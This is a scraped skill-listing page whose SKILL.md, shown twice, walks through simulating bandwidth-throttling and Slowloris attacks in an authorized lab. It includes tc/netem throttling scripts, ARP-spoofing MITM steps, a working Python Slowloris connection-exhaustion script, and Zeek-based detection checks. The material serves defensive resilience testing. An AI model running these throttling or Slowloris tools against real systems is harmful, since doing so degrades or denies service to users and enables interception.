[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B88YVQNVSVDBKWN9XTD906":3,"skill-same:01M7B88YVQNVSVDBKWN9XTD906":80},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":13,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":49,"install":50,"resources":63},"01M7B88YVQNVSVDBKWN9XTD906","performing-bandwidth-throttling-attack-simulation",null,"Simulate bandwidth throttling and network degradation attacks using tc, iperf3, and Scapy in authorized lab environments to test QoS controls, application resilience, and monitoring detection of traffic manipulation. Use when validating how VoIP, video, or other real-time applications and network monitoring tools respond to degraded bandwidth or slowloris-style throttling attacks.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-bandwidth-throttling-attack-simulation\ndescription: 'Simulate bandwidth throttling and network degradation attacks using tc,\n  iperf3, and Scapy in authorized lab environments to test QoS controls, application\n  resilience, and monitoring detection of traffic manipulation. Use when validating\n  how VoIP, video, or other real-time applications and network monitoring tools respond\n  to degraded bandwidth or slowloris-style throttling attacks.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- bandwidth-throttling\n- qos\n- traffic-shaping\n- network-resilience\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n---\n# Performing Bandwidth Throttling Attack Simulation\n\n## When to Use\n\n- Testing application resilience to degraded network conditions during authorized security assessments\n- Validating QoS policies detect and mitigate unauthorized traffic shaping on the network\n- Simulating network slowloris-style attacks that degrade bandwidth rather than causing complete outages\n- Assessing the impact of bandwidth-based attacks on VoIP, video conferencing, and real-time applications\n- Testing network monitoring tools' ability to detect abnormal bandwidth utilization patterns\n\n**Do not use** on production networks without authorization and a maintenance window, for causing denial-of-service conditions, or against critical infrastructure without safety controls.\n\n## Prerequisites\n\n- Written authorization for bandwidth manipulation testing\n- Linux system with tc (traffic control), netem, and iptables\n- iperf3 installed on both tester and target systems for bandwidth measurement\n- MITM position established (ARP spoofing) for traffic interception scenarios\n- Network monitoring tools deployed for detecting the simulation\n- Baseline bandwidth measurements before testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Establish Baseline Bandwidth Measurements\n\n```bash\n# Start iperf3 server on the target\niperf3 -s -p 5201\n\n# Measure baseline bandwidth from the tester\niperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201\n# Record: bandwidth, jitter, packet loss\n\n# Measure baseline latency\nping -c 100 10.10.20.10 | tail -1\n# Record: min\u002Favg\u002Fmax\u002Fmdev\n\n# Measure baseline jitter with UDP test\niperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201\n# Record: jitter and packet loss percentage\n\n# Document baseline values\necho \"Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps\" > baseline.txt\necho \"Latency: $(ping -c 50 10.10.20.10 | tail -1)\" >> baseline.txt\n```\n\n### Step 2: Simulate Bandwidth Throttling with tc\u002Fnetem\n\n```bash\n# Add traffic control to limit bandwidth on the attacker's forwarding interface\n# This simulates throttling traffic flowing through a compromised router\n\n# Limit to 1 Mbps (severe throttling)\nsudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms\n\n# Or use hierarchical token bucket for more control\nsudo tc qdisc add dev eth0 root handle 1: htb default 10\nsudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit\n\n# Add latency and packet loss to simulate degraded link\nsudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%\n\n# Target specific traffic (only throttle traffic to specific host)\nsudo tc qdisc add dev eth0 root handle 1: htb default 99\nsudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit\nsudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit\nsudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit\n\n# Filter: throttle only traffic to 10.10.20.10\nsudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \\\n  match ip dst 10.10.20.10\u002F32 flowid 1:10\n\n# Verify the qdisc configuration\ntc -s qdisc show dev eth0\ntc -s class show dev eth0\n```\n\n### Step 3: Simulate Progressive Degradation\n\n```bash\n#!\u002Fbin\u002Fbash\n# Simulate progressive bandwidth degradation over time\n# This mimics an attacker slowly throttling to avoid detection\n\nIFACE=\"eth0\"\nTARGET=\"10.10.20.10\"\n\n# Phase 1: Baseline (no throttling) - 5 minutes\necho \"[*] Phase 1: Baseline (no throttling)\"\nsleep 300\n\n# Phase 2: Mild throttling (50% reduction)\necho \"[*] Phase 2: Reducing to 50 Mbps\"\nsudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms\nsleep 300\n\n# Phase 3: Moderate throttling (80% reduction)\necho \"[*] Phase 3: Reducing to 10 Mbps\"\nsudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms\nsleep 300\n\n# Phase 4: Severe throttling + latency + loss\necho \"[*] Phase 4: Reducing to 1 Mbps + 200ms latency + 5% loss\"\nsudo tc qdisc del dev $IFACE root 2>\u002Fdev\u002Fnull\nsudo tc qdisc add dev $IFACE root handle 1: htb default 10\nsudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit\nsudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%\nsleep 300\n\n# Phase 5: Recovery\necho \"[*] Phase 5: Removing all throttling\"\nsudo tc qdisc del dev $IFACE root 2>\u002Fdev\u002Fnull\necho \"[*] Simulation complete\"\n```\n\n### Step 4: Simulate Slowloris-Style Connection Exhaustion\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Slowloris-style connection simulation for authorized bandwidth testing.\"\"\"\n\nimport socket\nimport time\nimport threading\n\nTARGET = \"10.10.20.10\"\nPORT = 80\nNUM_CONNECTIONS = 200\n\nsockets = []\n\ndef create_slow_connection():\n    \"\"\"Create a connection that sends data very slowly.\"\"\"\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(4)\n        s.connect((TARGET, PORT))\n        s.send(b\"GET \u002F HTTP\u002F1.1\\r\\n\")\n        s.send(f\"Host: {TARGET}\\r\\n\".encode())\n        sockets.append(s)\n        return s\n    except Exception:\n        return None\n\ndef keep_alive():\n    \"\"\"Send partial headers to keep connections open.\"\"\"\n    while True:\n        for s in list(sockets):\n            try:\n                s.send(b\"X-Padding: \" + b\"A\" * 10 + b\"\\r\\n\")\n            except Exception:\n                sockets.remove(s)\n        time.sleep(15)\n\nprint(f\"[*] Opening {NUM_CONNECTIONS} slow connections to {TARGET}:{PORT}\")\nfor i in range(NUM_CONNECTIONS):\n    s = create_slow_connection()\n    if s:\n        if (i + 1) % 50 == 0:\n            print(f\"[*] {i + 1} connections established\")\n    time.sleep(0.1)\n\nprint(f\"[*] {len(sockets)} connections open. Sending keep-alive headers...\")\nprint(\"[*] Press Ctrl+C to stop\")\n\ntry:\n    keep_alive()\nexcept KeyboardInterrupt:\n    print(f\"\\n[*] Closing {len(sockets)} connections\")\n    for s in sockets:\n        try:\n            s.close()\n        except Exception:\n            pass\n    print(\"[*] Cleanup complete\")\n```\n\n### Step 5: Measure Impact and Detect Anomalies\n\n```bash\n# Re-measure bandwidth during throttling\niperf3 -c 10.10.20.10 -t 10 -f m -p 5201\n# Compare with baseline values\n\n# Measure latency degradation\nping -c 50 10.10.20.10\n\n# Check network monitoring for detection\n# Verify that monitoring tools detected the bandwidth change\n\n# Check SNMP-based monitoring (Cacti, LibreNMS, Zabbix)\n# Interface utilization should show abnormal patterns\n\n# Check Zeek logs for connection anomalies\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fconn.log | \\\n  zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \\\n  awk '$4 > 0 && ($5\u002F$4 \u003C 1000 || $6\u002F$4 \u003C 1000)' | head -20\n# Low bytes\u002Fsecond ratio indicates throttling\n\n# Check for QoS alerts in network management tools\n# NetFlow analysis: look for changes in traffic patterns\n# nfdump -r \u002Fvar\u002Fcache\u002Fnfdump\u002Fnfcapd.* -s srcip\u002Fbytes -n 20\n```\n\n### Step 6: Clean Up and Document\n\n```bash\n# Remove all traffic control rules\nsudo tc qdisc del dev eth0 root 2>\u002Fdev\u002Fnull\n\n# Verify cleanup\ntc qdisc show dev eth0\n# Should show: qdisc noqueue or default qdisc only\n\n# Stop ARP spoofing if used\nsudo killall arpspoof bettercap 2>\u002Fdev\u002Fnull\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Final bandwidth measurement to confirm restoration\niperf3 -c 10.10.20.10 -t 10 -f m -p 5201\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Traffic Shaping** | Deliberate manipulation of network traffic flow rates using queuing disciplines to control bandwidth allocation |\n| **tc (Traffic Control)** | Linux kernel subsystem for configuring packet scheduling, shaping, policing, and dropping using queuing disciplines (qdiscs) |\n| **netem (Network Emulator)** | Linux tc qdisc that simulates network conditions including delay, jitter, packet loss, corruption, and reordering |\n| **Token Bucket Filter (TBF)** | tc qdisc that limits traffic rate by allowing packets through only when tokens are available, enforcing a maximum bandwidth rate |\n| **Slowloris** | Application-layer attack that exhausts server connection pools by opening many connections and sending data very slowly |\n| **QoS (Quality of Service)** | Network mechanisms for prioritizing specific traffic types (VoIP, video) and ensuring minimum bandwidth guarantees |\n\n## Tools & Systems\n\n- **tc\u002Fnetem**: Linux kernel traffic control and network emulation framework for simulating bandwidth limitations and network degradation\n- **iperf3**: Network bandwidth measurement tool for establishing baselines and measuring the impact of throttling\n- **Bettercap**: Network attack framework used for establishing MITM position to intercept and throttle traffic\n- **Scapy**: Python packet manipulation for crafting custom traffic patterns and connection exhaustion simulations\n- **NetFlow\u002FsFlow**: Network flow monitoring protocols for detecting abnormal bandwidth utilization patterns\n\n## Common Scenarios\n\n### Scenario: Testing VoIP System Resilience to Bandwidth Degradation\n\n**Context**: A company relies on SIP-based VoIP for business communications. The security team needs to assess how VoIP quality degrades under various network attack conditions and at what point calls become unusable. The testing is authorized on a dedicated VoIP test VLAN.\n\n**Approach**:\n1. Establish baseline call quality using iperf3 UDP tests measuring jitter (\u003C30ms) and packet loss (\u003C1%) on the VoIP VLAN\n2. Set up MITM position between VoIP endpoints using ARP spoofing\n3. Progressively introduce latency (50ms, 100ms, 200ms, 500ms) using netem and measure MOS (Mean Opinion Score) at each level\n4. Introduce packet loss (1%, 3%, 5%, 10%) and measure call quality degradation\n5. Throttle bandwidth from 1 Mbps to 100 Kbps to determine the minimum usable bandwidth for G.711 codec (requires 87.2 Kbps)\n6. Verify that QoS policies on the network prioritize VoIP traffic and restore quality when throttling affects the shared link\n7. Document the degradation thresholds and recommend minimum QoS guarantees for the VoIP VLAN\n\n**Pitfalls**:\n- Forgetting to remove tc rules after testing, leaving bandwidth limitations in place on the test network\n- Testing at rates too low, causing complete call failure instead of measurable degradation\n- Not accounting for VoIP codec differences -- G.711 requires more bandwidth than G.729\n- Running the test on a shared VLAN and affecting non-test traffic\n\n## Output Format\n\n```\n## Bandwidth Throttling Simulation Report\n\n**Test ID**: BW-THROTTLE-2024-001\n**Target Network**: VLAN 60 (VoIP Test)\n**Test Duration**: 2024-03-15 14:00-16:00 UTC\n\n### Baseline Measurements\n| Metric | Value |\n|--------|-------|\n| Bandwidth (TCP) | 947 Mbps |\n| Bandwidth (UDP) | 912 Mbps |\n| Latency (avg) | 0.8 ms |\n| Jitter | 0.2 ms |\n| Packet Loss | 0.00% |\n\n### Degradation Impact Matrix\n\n| Condition | Bandwidth | Latency | Jitter | Loss | VoIP MOS |\n|-----------|-----------|---------|--------|------|----------|\n| Baseline | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |\n| 50ms latency | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |\n| 200ms latency | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |\n| 5% loss | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |\n| 1 Mbps cap | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |\n| 100 Kbps cap | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |\n\n### QoS Validation\n- QoS detected throttling at 10 Mbps threshold: YES\n- VoIP traffic prioritized during throttling: YES (maintained 3.8 MOS)\n- Alert generated by monitoring: YES (bandwidth anomaly at 14:15 UTC)\n\n### Recommendations\n1. Ensure minimum 200 Kbps guaranteed bandwidth per VoIP call\n2. Configure QoS to prioritize DSCP EF (46) marked traffic\n3. Set monitoring threshold at 80% bandwidth utilization for early warning\n```\n","# Performing Bandwidth Throttling Attack Simulation\n\n## When to Use\n\n- Testing application resilience to degraded network conditions during authorized security assessments\n- Validating QoS policies detect and mitigate unauthorized traffic shaping on the network\n- Simulating network slowloris-style attacks that degrade bandwidth rather than causing complete outages\n- Assessing the impact of bandwidth-based attacks on VoIP, video conferencing, and real-time applications\n- Testing network monitoring tools' ability to detect abnormal bandwidth utilization patterns\n\n**Do not use** on production networks without authorization and a maintenance window, for causing denial-of-service conditions, or against critical infrastructure without safety controls.\n\n## Prerequisites\n\n- Written authorization for bandwidth manipulation testing\n- Linux system with tc (traffic control), netem, and iptables\n- iperf3 installed on both tester and target systems for bandwidth measurement\n- MITM position established (ARP spoofing) for traffic interception scenarios\n- Network monitoring tools deployed for detecting the simulation\n- Baseline bandwidth measurements before testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Establish Baseline Bandwidth Measurements\n\n```bash\n# Start iperf3 server on the target\niperf3 -s -p 5201\n\n# Measure baseline bandwidth from the tester\niperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201\n# Record: bandwidth, jitter, packet loss\n\n# Measure baseline latency\nping -c 100 10.10.20.10 | tail -1\n# Record: min\u002Favg\u002Fmax\u002Fmdev\n\n# Measure baseline jitter with UDP test\niperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201\n# Record: jitter and packet loss percentage\n\n# Document baseline values\necho \"Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps\" > baseline.txt\necho \"Latency: $(ping -c 50 10.10.20.10 | tail -1)\" >> baseline.txt\n```\n\n### Step 2: Simulate Bandwidth Throttling with tc\u002Fnetem\n\n```bash\n# Add traffic control to limit bandwidth on the attacker's forwarding interface\n# This simulates throttling traffic flowing through a compromised router\n\n# Limit to 1 Mbps (severe throttling)\nsudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms\n\n# Or use hierarchical token bucket for more control\nsudo tc qdisc add dev eth0 root handle 1: htb default 10\nsudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit\n\n# Add latency and packet loss to simulate degraded link\nsudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%\n\n# Target specific traffic (only throttle traffic to specific host)\nsudo tc qdisc add dev eth0 root handle 1: htb default 99\nsudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit\nsudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit\nsudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit\n\n# Filter: throttle only traffic to 10.10.20.10\nsudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \\\n  match ip dst 10.10.20.10\u002F32 flowid 1:10\n\n# Verify the qdisc configuration\ntc -s qdisc show dev eth0\ntc -s class show dev eth0\n```\n\n### Step 3: Simulate Progressive Degradation\n\n```bash\n#!\u002Fbin\u002Fbash\n# Simulate progressive bandwidth degradation over time\n# This mimics an attacker slowly throttling to avoid detection\n\nIFACE=\"eth0\"\nTARGET=\"10.10.20.10\"\n\n# Phase 1: Baseline (no throttling) - 5 minutes\necho \"[*] Phase 1: Baseline (no throttling)\"\nsleep 300\n\n# Phase 2: Mild throttling (50% reduction)\necho \"[*] Phase 2: Reducing to 50 Mbps\"\nsudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms\nsleep 300\n\n# Phase 3: Moderate throttling (80% reduction)\necho \"[*] Phase 3: Reducing to 10 Mbps\"\nsudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms\nsleep 300\n\n# Phase 4: Severe throttling + latency + loss\necho \"[*] Phase 4: Reducing to 1 Mbps + 200ms latency + 5% loss\"\nsudo tc qdisc del dev $IFACE root 2>\u002Fdev\u002Fnull\nsudo tc qdisc add dev $IFACE root handle 1: htb default 10\nsudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit\nsudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%\nsleep 300\n\n# Phase 5: Recovery\necho \"[*] Phase 5: Removing all throttling\"\nsudo tc qdisc del dev $IFACE root 2>\u002Fdev\u002Fnull\necho \"[*] Simulation complete\"\n```\n\n### Step 4: Simulate Slowloris-Style Connection Exhaustion\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Slowloris-style connection simulation for authorized bandwidth testing.\"\"\"\n\nimport socket\nimport time\nimport threading\n\nTARGET = \"10.10.20.10\"\nPORT = 80\nNUM_CONNECTIONS = 200\n\nsockets = []\n\ndef create_slow_connection():\n    \"\"\"Create a connection that sends data very slowly.\"\"\"\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(4)\n        s.connect((TARGET, PORT))\n        s.send(b\"GET \u002F HTTP\u002F1.1\\r\\n\")\n        s.send(f\"Host: {TARGET}\\r\\n\".encode())\n        sockets.append(s)\n        return s\n    except Exception:\n        return None\n\ndef keep_alive():\n    \"\"\"Send partial headers to keep connections open.\"\"\"\n    while True:\n        for s in list(sockets):\n            try:\n                s.send(b\"X-Padding: \" + b\"A\" * 10 + b\"\\r\\n\")\n            except Exception:\n                sockets.remove(s)\n        time.sleep(15)\n\nprint(f\"[*] Opening {NUM_CONNECTIONS} slow connections to {TARGET}:{PORT}\")\nfor i in range(NUM_CONNECTIONS):\n    s = create_slow_connection()\n    if s:\n        if (i + 1) % 50 == 0:\n            print(f\"[*] {i + 1} connections established\")\n    time.sleep(0.1)\n\nprint(f\"[*] {len(sockets)} connections open. Sending keep-alive headers...\")\nprint(\"[*] Press Ctrl+C to stop\")\n\ntry:\n    keep_alive()\nexcept KeyboardInterrupt:\n    print(f\"\\n[*] Closing {len(sockets)} connections\")\n    for s in sockets:\n        try:\n            s.close()\n        except Exception:\n            pass\n    print(\"[*] Cleanup complete\")\n```\n\n### Step 5: Measure Impact and Detect Anomalies\n\n```bash\n# Re-measure bandwidth during throttling\niperf3 -c 10.10.20.10 -t 10 -f m -p 5201\n# Compare with baseline values\n\n# Measure latency degradation\nping -c 50 10.10.20.10\n\n# Check network monitoring for detection\n# Verify that monitoring tools detected the bandwidth change\n\n# Check SNMP-based monitoring (Cacti, LibreNMS, Zabbix)\n# Interface utilization should show abnormal patterns\n\n# Check Zeek logs for connection anomalies\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fconn.log | \\\n  zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \\\n  awk '$4 > 0 && ($5\u002F$4 \u003C 1000 || $6\u002F$4 \u003C 1000)' | head -20\n# Low bytes\u002Fsecond ratio indicates throttling\n\n# Check for QoS alerts in network management tools\n# NetFlow analysis: look for changes in traffic patterns\n# nfdump -r \u002Fvar\u002Fcache\u002Fnfdump\u002Fnfcapd.* -s srcip\u002Fbytes -n 20\n```\n\n### Step 6: Clean Up and Document\n\n```bash\n# Remove all traffic control rules\nsudo tc qdisc del dev eth0 root 2>\u002Fdev\u002Fnull\n\n# Verify cleanup\ntc qdisc show dev eth0\n# Should show: qdisc noqueue or default qdisc only\n\n# Stop ARP spoofing if used\nsudo killall arpspoof bettercap 2>\u002Fdev\u002Fnull\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Final bandwidth measurement to confirm restoration\niperf3 -c 10.10.20.10 -t 10 -f m -p 5201\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Traffic Shaping** | Deliberate manipulation of network traffic flow rates using queuing disciplines to control bandwidth allocation |\n| **tc (Traffic Control)** | Linux kernel subsystem for configuring packet scheduling, shaping, policing, and dropping using queuing disciplines (qdiscs) |\n| **netem (Network Emulator)** | Linux tc qdisc that simulates network conditions including delay, jitter, packet loss, corruption, and reordering |\n| **Token Bucket Filter (TBF)** | tc qdisc that limits traffic rate by allowing packets through only when tokens are available, enforcing a maximum bandwidth rate |\n| **Slowloris** | Application-layer attack that exhausts server connection pools by opening many connections and sending data very slowly |\n| **QoS (Quality of Service)** | Network mechanisms for prioritizing specific traffic types (VoIP, video) and ensuring minimum bandwidth guarantees |\n\n## Tools & Systems\n\n- **tc\u002Fnetem**: Linux kernel traffic control and network emulation framework for simulating bandwidth limitations and network degradation\n- **iperf3**: Network bandwidth measurement tool for establishing baselines and measuring the impact of throttling\n- **Bettercap**: Network attack framework used for establishing MITM position to intercept and throttle traffic\n- **Scapy**: Python packet manipulation for crafting custom traffic patterns and connection exhaustion simulations\n- **NetFlow\u002FsFlow**: Network flow monitoring protocols for detecting abnormal bandwidth utilization patterns\n\n## Common Scenarios\n\n### Scenario: Testing VoIP System Resilience to Bandwidth Degradation\n\n**Context**: A company relies on SIP-based VoIP for business communications. The security team needs to assess how VoIP quality degrades under various network attack conditions and at what point calls become unusable. The testing is authorized on a dedicated VoIP test VLAN.\n\n**Approach**:\n1. Establish baseline call quality using iperf3 UDP tests measuring jitter (\u003C30ms) and packet loss (\u003C1%) on the VoIP VLAN\n2. Set up MITM position between VoIP endpoints using ARP spoofing\n3. Progressively introduce latency (50ms, 100ms, 200ms, 500ms) using netem and measure MOS (Mean Opinion Score) at each level\n4. Introduce packet loss (1%, 3%, 5%, 10%) and measure call quality degradation\n5. Throttle bandwidth from 1 Mbps to 100 Kbps to determine the minimum usable bandwidth for G.711 codec (requires 87.2 Kbps)\n6. Verify that QoS policies on the network prioritize VoIP traffic and restore quality when throttling affects the shared link\n7. Document the degradation thresholds and recommend minimum QoS guarantees for the VoIP VLAN\n\n**Pitfalls**:\n- Forgetting to remove tc rules after testing, leaving bandwidth limitations in place on the test network\n- Testing at rates too low, causing complete call failure instead of measurable degradation\n- Not accounting for VoIP codec differences -- G.711 requires more bandwidth than G.729\n- Running the test on a shared VLAN and affecting non-test traffic\n\n## Output Format\n\n```\n## Bandwidth Throttling Simulation Report\n\n**Test ID**: BW-THROTTLE-2024-001\n**Target Network**: VLAN 60 (VoIP Test)\n**Test Duration**: 2024-03-15 14:00-16:00 UTC\n\n### Baseline Measurements\n| Metric | Value |\n|--------|-------|\n| Bandwidth (TCP) | 947 Mbps |\n| Bandwidth (UDP) | 912 Mbps |\n| Latency (avg) | 0.8 ms |\n| Jitter | 0.2 ms |\n| Packet Loss | 0.00% |\n\n### Degradation Impact Matrix\n\n| Condition | Bandwidth | Latency | Jitter | Loss | VoIP MOS |\n|-----------|-----------|---------|--------|------|----------|\n| Baseline | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |\n| 50ms latency | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |\n| 200ms latency | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |\n| 5% loss | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |\n| 1 Mbps cap | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |\n| 100 Kbps cap | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |\n\n### QoS Validation\n- QoS detected throttling at 10 Mbps threshold: YES\n- VoIP traffic prioritized during throttling: YES (maintained 3.8 MOS)\n- Alert generated by monitoring: YES (bandwidth anomaly at 14:15 UTC)\n\n### Recommendations\n1. Ensure minimum 200 Kbps guaranteed bandwidth per VoIP call\n2. Configure QoS to prioritize DSCP EF (46) marked traffic\n3. Set monitoring threshold at 80% bandwidth utilization for early warning\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":25,"description":38,"mitre_attack":39},[25,26,27,28,29],"network-security","bandwidth-throttling","qos","traffic-shaping","network-resilience","mahipal","cybersecurity","1.0",[34,35,36,37],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Simulate bandwidth throttling and network degradation attacks using tc, iperf3, and Scapy in authorized lab environments to test QoS controls, application resilience, and monitoring detection of traffic manipulation. Use when validating how VoIP, video, or other real-time applications and network monitoring tools respond to degraded bandwidth or slowloris-style throttling attacks.\n",[40,41,42,43],"T1046","T1040","T1557","T1071","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill performing-bandwidth-throttling-attack-simulation",{"tool":56,"command":57},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-bandwidth-throttling-attack-simulation",{"tool":59,"command":60},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-bandwidth-throttling-attack-simulation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation\u002FSKILL.md",true,[64,68,74],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",2230,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"scripts\u002Fagent.py","SCRIPT","脚本",6104,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-bandwidth-throttling-attack-simulation\u002Fscripts\u002Fagent.py",[81,89,96,103,110,117],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this 